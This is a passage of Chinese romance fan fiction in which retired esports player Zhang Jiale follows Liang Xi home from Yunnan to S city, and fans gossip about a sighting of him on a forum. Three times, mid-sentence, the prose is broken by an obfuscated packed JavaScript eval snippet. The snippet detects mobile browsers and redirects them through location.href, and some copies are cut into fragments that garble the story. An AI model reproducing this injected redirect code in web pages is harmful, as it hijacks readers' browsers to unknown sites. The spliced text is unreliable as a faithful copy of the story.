收好行李,他脱了外套,爬上床,侧躺在梁夕身边,伸手轻轻按揉着她的太阳穴。 “老板说了,不能洗澡,将就一晚。明天适应了再说。”他低声说,气息拂在她耳畔,“头疼我帮你按按,感觉好点吗?” 他指尖的力度恰到好处,梁夕闭着眼,慢慢在那舒缓的力道下放松下来。头痛似乎真的缓解了一些。 “手法还行。”她低声评价。 “那是,以前训练累了,队里互相按,练出来的。”张佳乐有点小得意,手下动作没停。 房间里只开了一盏昏暗的壁灯,光线温暖。窗外是高原特有的寂静,偶尔能听到远处经幡被风吹动的猎猎声响。 两人就这样安静地待着。过了一会儿,梁夕忽然开口,声音很轻:“张佳乐。” “嗯?” “你为什么要退役?”她问,眼睛依旧闭着,“真的只是因为……没拿到冠军?” 张佳乐按摩的手指顿了一下,随即又继续,只是力道更轻缓了些。 他沉默了几秒才开口。 “也不全是。打了那么多年,每天都在训练、比赛、复盘……好像生活里只剩下那一件事了。赢不了的时候,会觉得特别没劲,特别……空。感觉被什么东西困住了,想透口气。” 他顿了顿,“可能也是腻了。想试试看,没有比赛的日子是什么样的。” “试出来了吗?” “正在试。”张佳乐笑了笑,手指从她太阳穴滑到耳后,轻轻捏了捏她的耳垂,“目前感觉……还不错。” 尤其是,遇到了她之后。 梁夕没再追问。每个人都有自己不想被触碰的疲惫和迷茫,她懂。 太阳穴上按摩的动作渐渐停了,张佳乐的手滑下来,环住了她的肩,将她往自己怀里带了带。梁夕没有抗拒,顺势靠了过去,额头抵着他的肩膀。高反带来的不适和旅途的疲惫,在这个温暖坚实的怀抱里,似乎被稀释了许多。 “睡吧。”张佳乐低声说,拉过被子盖好,“明天要是还不舒服,我们就在古城里随便逛逛,不跑远了。” “嗯。”梁夕应了一声。 房间里彻底安静下来,只剩彼此的呼吸声。张佳乐低头,在她发顶轻轻印下一个吻,满足地闭上了眼睛。 头痛已经缓和,困意逐渐袭来。在意识沉入黑暗之前,梁夕模糊地想,原来在高反不适的夜晚,有人陪着、照顾着,是这样的感觉。 是啊,就这样,暂时不去想过去,也不去忧虑未来。只是在路上,在一个离天空很近的地方,和一个……让她感到温暖和安心的人,相拥而眠。 这感觉,确实……不坏。 甚至可以说,让人有点……贪恋。 第二天起来的时候,高反已经消了大半。 他们在香格里拉待了三四天,逛了独克宗古城,看着转经筒在虔诚信徒的推动下缓缓旋转;去了松赞林寺,感受那份庄严与静谧;也包车去了普达措国家公园,那里秋色正浓,层林尽染,湖水如镜,倒映着雪山蓝天,美得不似人间。张佳乐的拍照技术在此等仙境面前再次遭受严峻考验。 相处愈发自然。夜晚相拥而眠成了习惯,白天牵手同行也变得顺理成章。 张佳乐依旧话多跳脱,却总能在梁夕微微蹙眉时,敏锐地察觉她可能需要什么——一杯热水,一个休息的角落,或者只是安静地陪她看一会儿云。 梁夕话依然不算多,但眼角眉梢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533812|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那层惯有的冰霜,在高原热烈的阳光和某人持续不断的热度烘烤下,悄然融化了许多。 她会在他讲无聊笑话时微微弯起嘴角;会在他试图偷拍她时准确地把小石子踢到他脚边以示警告;也会在走累时,很自然地停下脚步,等他过来牵住她的手。 旅途像一场逃离现实的幻梦,美好得不真实。但假期余额的提醒,却像定时闹钟,一秒一秒地逼近。 从普达措回来的晚上,两人在古城一家小餐馆吃着热腾腾的牦牛火锅。汤沸滚滚,驱散了夜寒。 梁夕夹了一筷子青菜,忽然开口,声音平静:“我后天回S市。” 张佳乐正埋头对付一块带筋的牦牛肉,闻言动作顿住,抬起头看她。火锅蒸腾的雾气模糊了她的表情,但那双眼睛依旧清澈平静。 她不是在跟他商量,只是在告诉他这个决定。 他心里“咯噔”一下,那块肉突然没了滋味。他放下筷子,抽了张纸巾擦了擦嘴,尽量让语气听起来平常:“后天?这么快?你假期不是还有几天吗?” “差不多了。”梁夕说,“回去还要处理些事情,提前两天,免得赶。” 张佳乐“哦”了一声,低头用筷子戳着碗里的蘸料。他知道这一天总会来,只是没想到这么快。 这些天太过美好,让他几乎忘了,她有自己的生活,要回到那个远在东部沿海的繁华都市,而他自己,还是个漫无目的、四处游荡的前职业选手。 “那你……机票订好了?”他问。 “嗯,下午订的。”梁夕喝了口酥油茶,“从香格里拉飞,在昆明中转,晚上到S市。” 张佳乐没再说话,闷头吃了几口菜,却觉得味同嚼蜡。火锅的热气烘得他脸颊发烫,心里却有点空落落的。 吃完饭,两人沉默地走回客栈。高原的夜风很冷,张佳乐下意识地把梁夕的手攥紧,揣进自己羽绒服兜里。 回到房间,梁夕去洗漱,张佳乐坐在床边,拿着手机,手指无意识地划拉着屏幕。 等梁夕收拾完出来,他放下手机,看着她。 “梁夕。”他叫住她,脸上没了平时的嬉笑,“你回去之后……我们……” 话没说完,但意思很明显。 “张佳乐,”梁夕走到床边看着他,声音很平静,“我得回去工作。” “我知道。”张佳乐立刻说,“我就是……S市离云南挺远的。” “现在交通方便。” “那……我能去找你吗?”张佳乐问得直接,眼睛一眨不眨地看着她。 梁夕与他对视了几秒,反问:“你来找我干什么?” “找你……吃饭,看电影,逛街,或者就……待着。”张佳乐说着,自己都觉得理由有点苍白,但他还是坚持,“我想见你。” 梁夕沉默了片刻。 她不是不明白他的意思,也不是感受不到这几日两人之间迅速升温的亲密和依赖。但现实是,他们相识于旅途,对彼此真实生活的了解寥寥无几。 S市对她而言,是另一重身份和压力的所在,让张佳乐进入那个世界…… “再说吧。”她没有直接答应,也没有拒绝,给了个模糊的答案。 张佳乐眼里掠过一丝失望,但很快又振作起来。 “行,再说。”他点点头,像是下定某种决心,拿起手机,又开始戳屏幕,这次动作快了很多。 梁夕没管他,自己躺下,背对着他。过了好一会儿,才感觉到身后的床垫陷下去,张佳乐从背后抱住了她,手臂收得很紧,下巴抵着她的发顶。 “梁夕,”他在她耳边闷闷地说,“我会想你的。” 梁夕心里某个地方像是被轻轻撞了一下。她没说话,只是往后靠了靠,然后闭上了眼睛。 20.真巧 回S市那天,香格里拉下起了小雨。 雨丝细密,落在古镇的石板路上,把青石板淋得发亮。梁夕在前台退房,老板帮她拎着行李箱出来,说了句“下次再来”。 约好的车已经等在巷口。张佳乐站在客栈门口,把两人的行李箱放进车子的后备箱。他今天话很少,从吃早饭开始就没怎么开口。 车上,两人并排坐在后座。雨刷在挡风玻璃上来回摆动,把窗外的古镇和田野刮成一片模糊的绿。 到机场,换登机牌,托运行李。机场不大,只有几个值机柜台,广播声在空旷的候机大厅里回荡。梁夕的航班时间更早一些——她先飞昆明,在昆明转机回S市。张佳乐站在她旁边,看着她把登机牌收进随身小包里。 “到了发消息。”他说。 “嗯。” “转机的时候也发一条。” “嗯。” “到了S市也——” “知道了。”梁夕打断他,但语气不重,甚至带了点无奈的弧度。 张佳乐闭上了嘴。他低头看着她的手,手指无意识地摩挲着她的手背。安检口外人来人往,广播里在催促某个航班登机,拉着行李箱的旅客从他们身边匆匆走过。 “在S市照顾好自己。”他说。 “你也是。” 短暂的沉默。张佳乐抬起头看着她,嘴唇动了动,像是想说什么,又咽了回去。然后他笑了一下,松开她的手:“行了,进去吧。” 梁夕看了他一眼,转身往安检口走。走了几步,听到张佳乐在身后叫她。 她回头。 他上前一步,飞快地在她唇上亲了一下,不顾周围人的目光,然后退开,眼睛亮亮地看着她:“一路平安。” 梁夕看着他,脸上没什么表情,但耳根微微红了。她轻轻“嗯”了一声,转身走进了安检通道。这一次她没再回头。 过了安检,距离登机还有一段时间。梁夕在登机口旁找了个靠窗的位置坐下,看着窗外停机坪上忙碌的车辆和远处的雪山轮廓,心里难得地有些空茫。 手指无意识地摸了摸嘴唇,那里仿佛还残留着刚才那个匆促却滚烫的亲吻。 他最后那个亮晶晶的眼神,和昨晚那句闷闷的“我会想你的”,不知怎的,在她心上敲了又敲。 从香格里拉到昆明的航程不算长,但梁夕一直有些心不在焉。窗外的云海翻滚,她却没什么欣赏的心情。 在昆明落地的时候,她收到了张佳乐的消息:起飞了。 离下一程起飞还有3个小时,梁夕在机场找了个咖啡店坐下,点了一杯美式。机场里人来人往,喧嚣嘈杂。但那些热闹似乎都和她无关。她脑子里都是这一个月和张佳乐偶遇的各种片段。 她又拿出手机看了看——消息列表干净得很,没有任何红色的未读消息。没有来自家里的问候,也没有来自S市同事的工作催促。只有一条航空公司的值机提醒。 其实她也不知道自己想从消息列表里看到什么。 她闭了闭眼,将心里那点莫名的情绪压下。旅途结束了,该回到现实了。 登机提示响起,梁夕站起身,往登机口方向走。就在她快要走到登机口时,旁边忽然传来一个极其熟悉、语调夸张的声音: “哎呀!梁夕?!这么巧?!你也这班飞机到S市?!” 梁夕脚步一顿,几乎以为自己出现了幻听。她猛地转过头,只见张佳乐正拖背着那个随身双肩包,一脸惊喜地站在几步开外。眼睛瞪得溜圆,仿佛在这里遇到她真是天大的巧合。 “张佳乐,”她开口,“你怎么在这儿?” “我?”张佳乐眨眨眼,演技十分浮夸,“我这不是也玩够了,准备回去了嘛!本来想直接回昆明老家待几天,结果一看机票,嚯,去S市的这班时间刚好,还便宜!我就想着,反正没事,去S市玩玩也好,之前去比赛的时候都没好好玩过。没想到碰到了你,太巧了!” 一套说辞行云流水,仿佛早就打好了腹稿。 梁夕心里瞬间明白了是怎么回事。什么巧,分明是这家伙…… 她抬眼看着张佳乐那张写满了无辜和惊喜的脸,看了好几秒,直看得对面的人脸上的笑容有点挂不住,眼神开始飘忽。 “是啊,真巧。”她声音平淡,“百花大神不仅游戏打得好,算机票时间也是一流。” 张佳乐被她这句话噎得耳根一热,知道自己这点小把戏从头到尾都被她看穿了。但她没有冷脸,甚至嘴角那个弧度——那是笑了吗? 他立刻顺杆爬:“那是!职业选手,时机把握很重要!” 登机,找到座位。 “你看!连座位都挨着!这缘分,绝了!”张佳乐指着座位号,表情更加惊喜。 梁夕瞥了一眼他手机上亮出的座位号,没说话,只是心里那点空茫和离别的萧索,不知不觉被眼前这人蹩脚的演技和毫不掩饰的赖皮冲散了大半。 有点无奈,有点好笑,还有一丝……连她自己都不愿深究的、细微的暖意。 飞机滑行,起飞,冲入云层。飞行平稳后,他转过头,看着梁夕安静的侧脸。 “那个……你没生气吧?” 梁夕正在看窗外的云,闻言转过头:“生什么气?” “就是……我没提前跟你说,就跟着买了机票。”张佳乐难得有点底气不足。 梁夕的订票记录他看过不下五遍——她在昆明转机停留三个小时。他买了晚一个小时起飞的航班到昆明,落地的时候她还在候机。时间完全够。 至于到了S市之后怎么办?他当时没想那么远。 “我不是要跟踪你或者怎么,就是觉得——不想就这么分开了。”最后几个字,他的声音低下去了一些,眼神却格外认真。 机舱里光线昏暗,张佳乐的轮廓比平时更分明,那双总是亮晶晶的眼睛里没有戏谑,只有毫不作伪的坦诚和一点点紧张。 “嗯。”她应了一声,没多说,又转回头看向窗外。 张佳乐等了一会儿,见她没有生气的意思,心里的大石头终于落地。他悄悄伸出手,握住了梁夕放在腿上的手。 梁夕的手指微微动了一下,没有抽回。 他得寸进尺,将手指挤进她的指缝,十指相扣。掌心相贴,她手心的温度比他想象中要暖一点。 飞机平稳降落在S市机场时,已是夜晚。这座城市的灯火如同坠落的星河,璀璨绵延至视野尽头,与云南的静谧星空截然不同,带着一种扑面而来的繁华现代的气息。 梁夕叫了网约车。等待的间隙,张佳乐很自然地站在她身侧,高大的身形有意无意地将她与往来匆忙的人流隔开些许。 “你家远吗?”张佳乐问。 “还好,不堵车的话四十多分钟。”梁夕看着手机上的导航。 “哦……”张佳乐点点头,然后像是随口一提,又带着点试探,“那……我住哪儿?你对这边熟,有没有推荐的经济型酒店?交通方便点的。” 梁夕抬起头,看了他一眼。他正低头摆弄着手机,似乎真的在认真查找酒店信息,但眼角的余光却偷偷瞄着她。 让他住酒店?似乎也没什么不妥,他们毕竟……关系未明。但想到他飞过来是因为她,她心里又有那么点过意不去。 至于还有没有其他的原因,反正她自己是不想承认。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537648|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我家有客房。”梁夕终于开口,“不过很小,东西也简单。” 张佳乐手指顿在手机屏幕上,猛地抬起头,眼睛瞬间亮了,像瞬间充好电的小灯泡:“真的?不会太打扰你吧?” 话是这么说,脸上那求之不得的表情却一点没掩饰。 “知道打扰还问?”梁夕瞥他一眼,正好车到了,她拉开车门,“上车。” “哎!”张佳乐麻利地把两人的行李塞进后备箱,乐颠颠地钻进了后座,紧挨着梁夕坐下。 车子汇入夜晚璀璨的车流。梁夕靠在椅背上,闭目养神。城市的喧嚣透过车窗隐约传来,让她有种恍惚的不真实感——就在十几个小时前,她还在香格里拉清冷的夜空下,而现在,身边却多了个叽叽喳喳的“大型行李”。 梁夕住的小区在市区不算特别核心的地段,环境清幽,安保不错,更重要的是离公司近。 她在这里租了一套一居室,面积不大,但被她布置得简洁干净。客厅连着开放式小厨房,卧室门关着,旁边还有个小小的储物间改成的客房。 “有点小,你凑合住。”梁夕指了指客房,“浴室在那边,柜子里有干净的毛巾和洗漱用品,你自己拿。冰箱里有水和速食,不过可能过期了,要吃的话自己看看日期。” 张佳乐放下行李,好奇地打量着这个完全属于梁夕的空间。简洁的灰白色调,没有多余的装饰,书架上整齐排列着一些专业书籍和少量小说,窗台上有两盆半死不活的绿萝,整个空间透着一种冷静的秩序感,和她在旅途中展现出的那种随性松弛截然不同。 “挺好,挺温馨!”张佳乐违心地夸赞在——其实他觉得有点冷清——然后很自觉地开始整理自己的东西,把行李箱推进客房。 梁夕没管他,换了鞋,去厨房烧水。出来时,张佳乐已经把他那个宝贝火山蛋郑重其事地摆在了客厅的小茶几上,旁边还放着那个彩线编织的钥匙扣。 “镇宅。”他指着火山蛋,一本正经地说。 梁夕把水杯递给他,没评价他的镇宅行为,只是说:“早点休息,明天我要去公司处理点事。” “哦,好。”张佳乐接过水,喝了一大口,“你忙你的,不用管我,我自己能搞定。” 话虽如此,第二天梁夕出门后,张佳乐还是感到了些许无所适从。虽然城市不算——毕竟来打过不少比赛,但也仅限于此了。梁夕不在,连空气都好像安静得过分。 他睡到日上三竿才起,在梁夕堪称标本级别的冰箱里找到一盒还没过期的牛奶和两片面包,凑合吃了早餐。然后,他决定出门熟悉一下环境,顺便买点食材——总不能一直吃冰箱里的过期库存。 他戴了顶棒球帽,低调地出了门。小区附近有一家大型超市,张佳乐推着购物车,兴致勃勃。他记得梁夕好像偏爱清淡一些的菜式,水果喜欢吃橙子和草莓——橙子正当季,草莓还没上市,奇异果倒是成熟的季节……不知不觉,购物车就满了。 拎着两大袋东西往回走时,经过一个商业广场,巨大的电子屏幕上正在播放某个电竞比赛的宣传片。张佳乐下意识地驻足看了两眼,心里有些感慨,却好像不再有以前那种翻涌的不甘。 就在他抬头看屏幕的这几秒钟,不远处,一个手里拿着奶茶逛街的年轻女孩,有些疑惑地看了看他,又揉了揉眼睛,然后迅速掏出手机,对着他的侧影偷偷按下了快门。 女孩是个荣耀游戏的资深玩家,也是百花战队的粉丝,对这位前大神的形象记忆深刻。尽管张佳乐戴着帽子,穿着随意,但那侧脸轮廓和独特的气质,还是让她瞬间认了出来。 “是乐乐大神吗?他怎么在S市?还……买菜?” 21.八卦 【荣耀灌水区】【惊爆】S市LA广场偶遇乐乐大神!! 楼主:乐乐的小花粉 啊啊啊啊啊啊啊啊啊!!!先让我尖叫三分钟!!! 坐标S市,今天下午陪闺蜜去逛街买衣服,等奶茶的时候我习惯性地四处乱瞟(职业病),然后就看到了一个侧影!!! 戴着帽子,穿着灰色卫衣和深色休闲裤,很低调,但是!!! 那个侧脸!!!那个下颌线!!!那个气质!!! 我一眼就认出来了!!! 是乐乐大神啊!!!百花缭乱张佳乐!!! 虽然退役了,但那个颜值和身材比例真的在人群中超级突出! 我当时手都在抖,偷偷拍了两张照片,不太清晰,但绝对是本人!!! 大家看!!! [图片.jpg] [图片.jpg] 重点是!!! 他手里提着两大袋东西!是超市购物袋!!!里面好像有蔬菜水果什么的!!! 画风突变有没有!!! 昔日赛场上的弹药专家百花缭乱,如今在S市街头提袋买菜??? 这反差萌也太好笑了哈哈哈哈哈哈! 顺便问一下,大神这是来S市旅游还是长住啊?旁边没看到队友或其他人,一个人来的吗? 求解答!有没有知情的小伙伴!!! 1L: 沙发!先占再看! 2L: 卧槽卧槽卧槽!!!真的是乐乐大神!!!虽他怎么在S市?不是说回昆明了吗? 3L: 笑死我了,提着两大袋超市购物袋,这画风也太接地气了吧哈哈哈哈哈哈!百花缭乱变百花菜场? 4L: 楼上你够了……不过说真的,大神这身打扮挺休闲帅气的,就是手里那两袋菜太出戏了! 5L: 羡慕楼主能偶遇!H市人民表示羡慕嫉妒恨! 6L: 只有我注意到他在买菜吗?一个人买这么多菜?难道是……去朋友家做饭?还是说……(大胆猜测) 7L: 楼上的,把话说完!还是说什么! 8L: 回复7L:还是说他现在有人给他做饭?或者他给别人做饭?反正一个人买这么多菜不太合理吧! 9L: 回复8L:买菜…这画面太美我不敢看。昔日赛场上的百花缭乱如今沦落成家庭煮夫(不是) 10L: 话说乐乐大神这状态看起来不错啊,比退役那会儿气色好多了,看来远离赛场真的养人。 11L: 回复10L:说起来都是泪,百花三亚的时候我真的哭死……他现在能过得开心就好。 12L: 所以到底有没有人知道他为什么在S市啊?有跟S市相关的商务吗?还是单纯来旅游? 13L: 回复12L:没听说有商务啊,他都退役了,也没签直播平台,感觉很佛系的样子。 14L: 等下,这个LA广场……离我家不远!我现在冲过去还能偶遇吗?!(拿出百米冲刺的架势) 15L: 楼上的冷静,楼主发帖都过去一个多小时了,大神早走了。 16L: 话说回来,乐乐大神这个身高身材真的优越,穿个卫衣都好看。退役了颜值还是能打! 17L: 哈哈,就是退役了颜值才更能打吧,你看胖球队的那几个,打球的时候眼袋要掉下来了一样,比赛一结束,年轻好几岁,颜值立马回春! 18L: 楼上,我怀疑你在说龙队但我没有证据。 19L: 我放大看了一下他手里购物袋的logo,好像是那家超市在S市有好几家分店,不过跟LA广场最近的那家……走路大概十分钟? 20L: 回复19L:你是侦探吗?这都能八出来?所以大神可能就住在LA广场附近?有没有S市的小伙伴来分析一下? 21L: 别扒了别扒了,给退役选手一点隐私吧!人家就是出来买个菜,至于吗? 22L: 楼上的,这里是八卦灌水区,不八卦来干嘛?而且楼主也没恶意,就是分享一下偶遇的惊喜啊。 23L: 说真的,乐乐大神能这么平淡地过自己的小日子,作为粉丝还挺欣慰的。希望他以后都开开心心的,不管是买菜还是做饭还是干嘛。 24L: 附议!只要他开心就好!当然如果能偶尔开个直播让粉丝看看就更好了(小声) 25L: 所以有没有后续啊?还有其他人偶遇到吗?蹲一个后续!感觉这个帖子要火! 荣耀论坛讨论得如火如荼,张佳乐本人对此一无所知。他心情不错地提着战利品回到梁夕家,开始收拾食材,研究梁夕那个看起来很高端的嵌入式灶具怎么用,甚至还照着手机菜谱尝试炖了个汤。 晚上梁夕加班回来,一开门,就闻到一股……混合着食物香气和一丝可疑焦糊味的复杂气息。只见张佳乐系着她那条粉格子围裙——也不知他从哪个角落翻出来的,手忙脚乱地把一盘看炒青菜端上小餐桌。 餐桌上已经摆了两副碗筷,中间那锅汤正咕嘟咕嘟冒着热气。 “回来啦?吃饭吃饭!”张佳乐看到她,眼睛一亮,连忙招呼。 梁夕站在门口,看着这充满烟火气的场景,一时有些怔忡。这个她多数时候只是用来睡觉和偶尔吃饭的空间,第一次有了家的嘈杂和温度。 “你做的?”她换鞋,放下包,语气有些怀疑。 “当然!快尝尝,虽然卖相一般,但味道我尝过了,能吃!”张佳乐颇为自豪,给她盛了碗汤,“小心烫。” 梁夕拿起勺子,舀了一勺,吹了吹,送入口中。味道居然意外地不错。 她抬头看了张佳乐一眼,对面的人也正紧张地看着她:“怎么样?” “好喝。”梁夕给出评价,低头继续喝汤。 “是不是很有天赋?”张佳乐呲牙一笑,自己也坐下盛了一碗,美滋滋地喝起来。 梁夕吃得认真,甚至比平时多添了小半碗饭。这让张佳乐心花怒放,差点没当场飘起来。那感觉,比他在任何庆功宴上吃过的山珍海味都好。他甚至已经在心里默默盘算明天要挑战哪些更有难度的菜式。 饭后,张佳乐抢着收拾了碗筷,在厨房里叮叮当当地洗刷。梁夕没跟他争,靠在厨房门框上,看着他的背影在狭窄的空间里忙碌,暖黄的灯光打在他身上,给这个平日里跳脱的男人镀上了一层居家的柔和光晕。 她忽然想起很多年前,在另一个家的厨房里,也曾有人沉默地收拾过碗筷,背影同样挺拔。 心里某处被轻轻刺了一下,不疼,只是有些微的酸涩。她移开视线,走回客厅。 张佳乐收拾完出来,梁夕正坐在沙发上,拿着平板电脑,神情专注。他凑过去在她旁边坐下,探头看了一眼屏幕——一堆他看不懂的数据报表和英文邮件。 “加班?”他问,声音放轻了些。 “嗯,积压了一些邮件,处理一下。”梁夕头也没抬,手指在屏幕上滑动。 张佳乐没再打扰她,只是安静地坐在旁边,拿起手机随意地刷着。他先看了看荣耀圈的新闻,没什么大事,又顺手点开了常逛的玩家论坛。 然后,他看到了那个标题醒目的帖子——《【惊爆】在S市LA广场偶遇乐乐大神!!》 张佳乐心里咯噔一下,手指顿住。他点进去,一眼就看到了那张偷拍的照片。拍照角度不算好,但熟悉他的人肯定能认出来。 他迅速扫了一眼下面的回复。大多数是粉丝的惊讶和调侃,画风还算友善,集中在“大神买菜”、“体验生活”、“退役后状态挺好”这类话题上。但也有人开始猜测他为什么在S市,是不是有朋友在,或者……有“情况”。 张佳乐皱了皱眉。他倒不是介意被拍,退役选手也是公众人物,早有心理准备。他只是有点担心,这会不会给梁夕带来麻烦。她看起来是那种注重隐私、不太喜欢被打扰的人。 他犹豫了一下,抬头看了看还在专注工作的梁夕。她微微蹙着眉,侧脸在屏幕光线下显得格外清冷,完全没注意到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540172|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边的动静。 张佳乐想了想,决定暂时不告诉她。一来事情不大,只是粉丝偶遇;二来,他不想让她觉得因为他而惹上什么不必要的关注,破坏了此刻难得的平静。 他悄悄退出论坛,关掉了那个帖子。心里盘算着,明天出门得更低调点,帽子口罩得戴齐,尽量避开人多的地方。 等到梁夕处理完工作,一转头,发现张佳乐不知何时靠在沙发上睡着了。头微微歪向一侧,手机滑落在腿边,屏幕还亮着,隐约能看到是某个菜谱软件的界面。 他睡着的样子和醒着时判若两人。那些张扬、跳脱、得寸进尺的小聪明,此刻全都收了起来。眉眼舒展,显得格外无害,甚至有些孩子气。 他的头发看起来很软。梁夕莫名想到这个。在云南时有一次她不小心碰到过,确实很软。 梁夕没有立刻移开目光,就这样看着他,看了好一会儿。 心里的某个角落,像是被什么东西轻轻触碰了一下。不重,但很清晰。不是悸动,不是心动——那些词太剧烈了,不适合此刻。 更像是……融化。一片固执地冻结了很久的冰,在某个无人察觉的瞬间,悄无声息地塌下去一小块,化成温凉的水,渗进缝隙里。 她从来不是一个容易心软的人。她曾经不择手段过、强求过,但结果一身是伤。后来她学会了用距离保护自己,用冷淡拒绝伤害,用无所谓掩盖所有真实的情绪。 过去的几年,她把自己武装得很好,好到几乎忘了铠甲里面还有柔软的地方。 但张佳乐这个人,似乎天生不懂得什么叫距离。他靠近得理所当然,赖着不走也理直气壮,连对她好的方式都带着一种“我就是想这样你别管我”的蛮横和坦荡。 他不试探,不猜测,不权衡利弊——他就只是在这里,在她身边,做着他觉得应该做的事,给出所有他能给的东西。 像一个太阳。不问她需不需要,也不管她会不会被灼伤,就是那么不管不顾地、炙热地、明亮地照耀着。 梁夕看着他的模样,心里不知道怎的,也好像忽然变软了。然后,她小心地起身,去卧室拿了条薄毯,轻轻地盖在他身上。 但张佳乐还是动了。他迷迷糊糊地睁开眼,视线还没有完全聚焦,就看到了她。那双还带着睡意的眼睛眨了眨,然后弯起来,露出一个毫无防备的笑。 “……忙完了?”他的声音沙哑,带着刚睡醒的含糊。 “嗯。”梁夕低声说,“困了就去睡。” 张佳乐应了一声,含混的,像个撒娇的小孩。但他却没动,反而伸手抓住了她的手腕,将她往自己这边一带。 梁夕没有防备,微微踉跄了一下,就被他拉到了沙发边。下一秒,他侧过头,靠在她的腰间,蹭了蹭,找到一个舒服的位置,像一只寻求温暖和安抚的大型犬。 “再待会儿……”他的声音闷闷的,带着浓浓的睡意,依赖又自然。 梁夕僵了一下。 她的第一反应是想推开。不是厌恶,是不习惯。没有人这样靠近过她。和韩文清在一起的时候,撒娇的那个是她,但也少有机会,他们连约会牵手都要偷偷摸摸。 但现在,她还不知道他们到底算什么关系,张佳乐就这么光明正大、理直气壮地靠过来。 她没有推开。抬起手,悬在半空,停了片刻。然后,慢慢地、很轻地,将手落在他的发顶。 张佳乐似乎满意了,蹭了蹭,呼吸重新变得绵长。 梁夕没有再动,也没有说话。她就那样靠在沙发边,一只手搭在他的发顶,目光越过他,落在窗外S市仿佛永不会熄灭的璀璨灯火之上。 那些曾经尖锐的、冰冷的、自我保护的部分,在这个安静而又温暖的夜晚,在这个人毫无保留的依赖面前,似乎变得没有那么必要了。 心里有一个念头,无比清晰地浮现出来—— 她想试着相信一次。 相信这个在旅途中意外出现、却执意要留在她生活里的人,相信这份不问来路、不计得失的靠近,相信他给的温暖,会大过她对寒冷的恐惧。 窗外的灯火依旧璀璨。而她心里那片曾经冰封的湖,正沿着融化的边缘,泛起从未有过的微光。